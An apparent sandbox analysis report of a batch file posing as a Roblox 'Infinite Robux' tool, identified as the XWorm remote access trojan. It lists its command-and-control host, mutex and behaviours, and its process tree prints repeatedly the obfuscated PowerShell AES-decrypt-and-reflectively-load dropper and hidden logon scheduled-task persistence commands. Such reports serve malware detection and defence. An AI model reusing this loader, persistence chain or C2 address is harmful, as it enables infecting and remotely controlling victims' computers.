Analysis

  • max time kernel
    86s
  • max time network
    88s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/06/2024, 23:58

General

  • Target
    InfiniteRobuxV2.bat
  • Size 1.1MB
  • Sample240612-31mbrawdna
  • SHA256 01032160f6993e3ad4923eb6b990e1cbab55bfd9dcd34bada39e4fd56e0f380b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • today-minnesota.gl.at.ply.gg:15118

Mutex
  • XGhgHqjZ3WXf4kNE

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
      PID:820
      • C:\Windows\system32\DllHost.exe
        C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
        2⤵
          PID:4836
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\svchost.bat" "
            3⤵
              PID:5000
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Local\svchost.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                4⤵
                  PID:3236
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1112
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$rundll_726_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$svchost_726.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4872
                  • C:\Windows\System32\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$svchost_726.vbs"
                    5⤵
                      PID:2312
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$svchost_726.bat" "
                        6⤵
                          PID:4444
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0r+0kyFBt0CB4/hGdDqpXDDHp0ZFdJ2yISJo1fJ42Xw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2eU97tnvMxgKqltgo/SJg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $keVus=New-Object System.IO.MemoryStream(,$param_var); $mUyJN=New-Object System.IO.MemoryStream; $kYZlL=New-Object System.IO.Compression.GZipStream($keVus, [IO.Compression.CompressionMode]::Decompress); $kYZlL.CopyTo($mUyJN); $kYZlL.Dispose(); $keVus.Dispose(); $mUyJN.Dispose(); $mUyJN.ToArray();}function execute_function($param_var,$param2_var){ $uJZpt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $mEYQo=$uJZpt.EntryPoint; $mEYQo.Invoke($null, $param2_var);}$HNCvy = 'C:\Users\Admin\AppData\Roaming\$svchost_726.bat';$host.UI.RawUI.WindowTitle = $HNCvy;$rjaMb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HNCvy).Split([Environment]::NewLine);foreach ($ddjCn in $rjaMb) { if ($ddjCn.StartsWith('EyTFRVkAWjarRNfpfcEu')) { $trlof=$ddjCn.Substring(20); break; }}$payloads_var=[string[]]$trlof.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                            7⤵
                              PID:3888
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                              7⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:4104
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k RPCSS -p
                  1⤵
                    PID:920
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                    1⤵
                      PID:1000
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                      1⤵
                        PID:540
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                        1⤵
                          PID:756
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                          1⤵
                            PID:1052
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                            1⤵
                              PID:1060
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                              1⤵
                                PID:1120
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                1⤵
                                • Drops file in System32 directory
                                PID:1176
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                1⤵
                                  PID:1196
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                  1⤵
                                    PID:1264
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                                    1⤵
                                      PID:1272
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                      1⤵
                                        PID:1376
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                        1⤵
                                          PID:1384
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                          1⤵
                                            PID:1436
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                            1⤵
                                              PID:1548
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                              1⤵
                                                PID:1564
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p
                                                1⤵
                                                  PID:1672
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                  1⤵
                                                    PID:1684
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                    1⤵
                                                      PID:1744
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                      1⤵
                                                        PID:1820
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                        1⤵
                                                          PID:1876
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                          1⤵
                                                            PID:1964
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                            1⤵
                                                              PID:1972
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                              1⤵
                                                                PID:1728
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                1⤵
                                                                  PID:1788
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                  1⤵
                                                                    PID:2172
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                    1⤵
                                                                      PID:2232
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                      1⤵
                                                                        PID:2408
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                        1⤵
                                                                          PID:2420
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                          1⤵
                                                                            PID:2432
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                            1⤵
                                                                              PID:2464
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                              1⤵
                                                                                PID:2564
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                1⤵
                                                                                  PID:2580
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                  1⤵
                                                                                    PID:2600
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                    1⤵
                                                                                      PID:2608
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                      1⤵
                                                                                        PID:1044
                                                                                      • C:\Windows\Explorer.EXE
                                                                                        C:\Windows\Explorer.EXE
                                                                                        1⤵
                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                        • Suspicious use of SendNotifyMessage
                                                                                        PID:3316
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\InfiniteRobuxV2.bat"
                                                                                          2⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4796
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vTnhKptKvDQYRLqISyqUiWPokzGobfBxkJozZ/OjDQU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ty/UZ5VMMgwhyXUCWUNaCQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DOcdR=New-Object System.IO.MemoryStream(,$param_var); $WwEvW=New-Object System.IO.MemoryStream; $nDtUR=New-Object System.IO.Compression.GZipStream($DOcdR, [IO.Compression.CompressionMode]::Decompress); $nDtUR.CopyTo($WwEvW); $nDtUR.Dispose(); $DOcdR.Dispose(); $WwEvW.Dispose(); $WwEvW.ToArray();}function execute_function($param_var,$param2_var){ $bQLMq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WUPgJ=$bQLMq.EntryPoint; $WUPgJ.Invoke($null, $param2_var);}$LnVUR = 'C:\Users\Admin\AppData\Local\Temp\InfiniteRobuxV2.bat';$host.UI.RawUI.WindowTitle = $LnVUR;$Wfnxu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LnVUR).Split([Environment]::NewLine);foreach ($qmmLN in $Wfnxu) { if ($qmmLN.StartsWith('PAYzUHUqyEpEidvsMrDH')) { $ntRaZ=$qmmLN.Substring(20); break; }}$payloads_var=[string[]]$ntRaZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                            3⤵
                                                                                              PID:4508
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                              3⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:3252
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\dllhost.bat
                                                                                                4⤵
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:2692
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\dllhost.bat""
                                                                                                  5⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:2868
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z2xC2h+C2t+xhefZVNgrwhVd+6cW81hKA09gr+Vgl4k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uJXvi7Nv9XV1R1jEsJpl9g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYNnG=New-Object System.IO.MemoryStream(,$param_var); $ddxMX=New-Object System.IO.MemoryStream; $tCHGY=New-Object System.IO.Compression.GZipStream($FYNnG, [IO.Compression.CompressionMode]::Decompress); $tCHGY.CopyTo($ddxMX); $tCHGY.Dispose(); $FYNnG.Dispose(); $ddxMX.Dispose(); $ddxMX.ToArray();}function execute_function($param_var,$param2_var){ $FpgFt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IsQVI=$FpgFt.EntryPoint; $IsQVI.Invoke($null, $param2_var);}$gzWXE = 'C:\Users\Admin\AppData\Local\dllhost.bat';$host.UI.RawUI.WindowTitle = $gzWXE;$jVKyS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gzWXE).Split([Environment]::NewLine);foreach ($MYFti in $jVKyS) { if ($MYFti.StartsWith('mDQBKkDMpSmzSJjqvWce')) { $zEoKi=$MYFti.Substring(20); break; }}$payloads_var=[string[]]$zEoKi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                    6⤵
                                                                                                      PID:936
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                      6⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:884
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                            1⤵
                                                                                              PID:3444
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                              1⤵
                                                                                                PID:3476
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                1⤵
                                                                                                  PID:4024
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                  1⤵
                                                                                                    PID:4416
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                    1⤵
                                                                                                      PID:3576
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                      1⤵
                                                                                                        PID:1192
                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                        1⤵
                                                                                                          PID:2492
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                          1⤵
                                                                                                            PID:3936
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                            1⤵
                                                                                                              PID:1524
                                                                                                            • C:\Windows\System32\svchost.exe
                                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                              1⤵
                                                                                                                PID:1588
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\conhost.bat" "
                                                                                                                1⤵
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:4436
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r6AxLwD402eCRDJ32hjyX5PrcoGk4roBX0y0PW8dYK8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('63TMyPgVGawHvcYmh7n9VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DnxjM=New-Object System.IO.MemoryStream(,$param_var); $btGKT=New-Object System.IO.MemoryStream; $MGyrI=New-Object System.IO.Compression.GZipStream($DnxjM, [IO.Compression.CompressionMode]::Decompress); $MGyrI.CopyTo($btGKT); $MGyrI.Dispose(); $DnxjM.Dispose(); $btGKT.Dispose(); $btGKT.ToArray();}function execute_function($param_var,$param2_var){ $fkUYX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bsfoy=$fkUYX.EntryPoint; $bsfoy.Invoke($null, $param2_var);}$SOCYX = 'C:\Users\Admin\AppData\Local\conhost.bat';$host.UI.RawUI.WindowTitle = $SOCYX;$DeoEW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SOCYX).Split([Environment]::NewLine);foreach ($zOcCx in $DeoEW) { if ($zOcCx.StartsWith('IlrOHXPgwfKfMhOIfzGL')) { $EMOMb=$zOcCx.Substring(20); break; }}$payloads_var=[string[]]$EMOMb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                  2⤵
                                                                                                                    PID:3148
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                                    2⤵
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    • Modifies registry class
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:3268
                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_202_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                      3⤵
                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:3144
                                                                                                                    • C:\Windows\System32\WScript.exe
                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.vbs"
                                                                                                                      3⤵
                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                      PID:2400
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.bat" "
                                                                                                                        4⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:1128
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r6AxLwD402eCRDJ32hjyX5PrcoGk4roBX0y0PW8dYK8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('63TMyPgVGawHvcYmh7n9VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DnxjM=New-Object System.IO.MemoryStream(,$param_var); $btGKT=New-Object System.IO.MemoryStream; $MGyrI=New-Object System.IO.Compression.GZipStream($DnxjM, [IO.Compression.CompressionMode]::Decompress); $MGyrI.CopyTo($btGKT); $MGyrI.Dispose(); $DnxjM.Dispose(); $btGKT.Dispose(); $btGKT.ToArray();}function execute_function($param_var,$param2_var){ $fkUYX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bsfoy=$fkUYX.EntryPoint; $bsfoy.Invoke($null, $param2_var);}$SOCYX = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.bat';$host.UI.RawUI.WindowTitle = $SOCYX;$DeoEW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($SOCYX).Split([Environment]::NewLine);foreach ($zOcCx in $DeoEW) { if ($zOcCx.StartsWith('IlrOHXPgwfKfMhOIfzGL')) { $EMOMb=$zOcCx.Substring(20); break; }}$payloads_var=[string[]]$EMOMb.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                          5⤵
                                                                                                                            PID:2704
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                                            5⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:1908
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                    1⤵
                                                                                                                      PID:3596

                                                                                                                    Network

                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          powershell.exe.log

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          ModuleAnalysisCache

